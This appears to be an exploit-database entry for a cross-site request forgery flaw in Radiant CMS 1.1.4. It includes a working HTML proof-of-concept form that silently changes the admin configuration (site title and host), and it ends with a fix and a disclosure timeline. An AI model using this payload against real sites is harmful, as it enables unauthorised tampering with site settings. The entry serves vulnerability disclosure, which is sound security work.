Radiant CMS v 1.1.4 - CSRF Vulnerability

🗓️ 10 Oct 2015 00:00:00Reported by ZwXType

zdt🔗 0day.today👁 20 Views

Radiant CMS v 1.1.4 CSRF Vulnerability, allows attackers to execute unauthorized actions including changing site title and retrieving login cookie

# Title : Radiant CMS v 1.1.4 - CSRF Exploit
# Author : ZwX
# Date : 16/07/2015
# Download : http://radiantcms.org/download/
# Vendor : http://radiantcms.org/
# Level Security : Medium
# Tested on : Windows 7

+----------------------+  
  Description & Detail
+----------------------+

An attacker could send an HTML file to make the admin him execute the file 
to retrieve the login cookie or to change the title of the site ...

+----------------------+  
   Proof Of Concept
+----------------------+

<html>
<!-- Cross Site Request Forgery -->
<form action="http://localhost/admin/configuration" data-onsubmit_status="Saving changes&#8230;" method="post"><div style="margin:0;padding:0;display:inline">
<input class="textbox" id="site_title" name="config[site.title]" type="hidden" value="Modify site title"/>
<input class="textbox" id="site_host" name="config[site.host]" type="hidden" value="Modyfy domaine www.example.com"/>
<input class="textbox" id="dev_host" name="config[dev.host]" type="hidden" value="Hack Test"/>
<div class='buttons'>
<input class='button' type='submit' value='Save Changes'>
</form>
</html>

+----------------------+  
      Solution
+----------------------+

Implement a security token system
Udapte Radiant CMS 

+----------------------+  
  Disclosure Timeline
+----------------------+

2015-07-16: Vulnerability discovered
2015-07-16: Vulnerability reported to vendor
2015-07-17: Vulnerability patched 
2015-07-18: Public release of security advisory

#  0day.today [2018-01-09]  #

10 Oct 2015 00:00Current

7.1High risk

Vulners AI Score7.1